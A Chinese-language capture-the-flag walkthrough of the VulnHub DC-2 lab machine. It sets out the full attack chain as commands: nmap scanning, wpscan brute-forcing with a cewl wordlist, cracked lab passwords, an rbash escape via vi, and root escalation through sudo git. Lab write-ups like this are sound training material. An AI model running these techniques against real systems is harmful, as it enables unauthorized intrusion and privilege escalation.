靶机安装
在vulnhub上下载DC-2靶机DC:2 ~ VulnHub
解压文件后,使用vm打开,创建名称和选择位置导入即可。
靶场练习
先探查同一网段下存活的主机找一下靶机的ip,用nmap输入命令。
nmap -sn 192.168.179.0/24
找到靶机的ip地址。
用nmap扫描一下开放端口。
nmap -p- --min-rate 10000 192.168.179.140
发现一个80端口开放了http服务,访问发现ip自动变成了http://dc-2/。
因为无法解析域名所以访问失败,在host文件中添加解析。
echo "192.168.179.140 dc-2" | sudo tee -a /etc/hosts
成功访问并找到flag1。
flag1暗示暴力破解,先找到登录界面,用dirsearch扫一下。
dirsearch -u http://dc-2/
找到后台登录界面。
准备暴力破解,先枚举一下用户名。
wpscan --url http://dc-2 --enumerate u

根据网站生成一份字典。
cewl http://dc-2/ > password.txt

然后对枚举出来的用户名进行爆破。
wpscan --url http://dc-2 --passwords password.txt
只跑出jerry和tom的密码。
jerry / adipiscing
tom / parturient
登录jerry,在pages中找到flag2。
登录tom没有发现有用信息。
靶机还开了一个ssh服务在7744端口,尝试连接,jerry一直连不上用tom连上了。
ls看看有什么东西,找到flag3。
查看flag3的内容,好像还不让cat。
看看能用什么命令。
compgen -c
发现有一个编辑命令。
编辑flag3.txt也能查看内容。
vi flag3.txt

这里应该是要用su提权到jerry,直接用su发现行不通。
尝试vi进行rbash逃逸再提权。
vi 任意文件
:set shell=/bin/bash
:shell
执行成功后可以cd..返回上级。
然后进入jerry目录,ls发现flag4.
再用vi查看flag4.txt。
现在离最后的flag很近了,之前su命令用不了,尝试用环境变量提权。
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量

现在已经提权到jerry,看看jerry能干嘛。
sudo -l
发现能够不用root权限使用git,结合flag4的提示这里用git提权。
先调窄窗口让回显信息不能一页显示,然后执行git hlep,在分页器界面输入!/bin/bash。
stty rows 20 cols 80
sudo git help config
!/bin/bash
执行完输入whoami,回显root。
cd /root 就能找到最后的flag了,cat final-flag.txt查看。
靶机复盘
攻击链
查找ip->端口扫描->dirseach扫描找登录界面->wpscan用户名枚举->cewl字典生成->wpscan暴力破解->ssh连接->环境变量提权->水平越权->git提权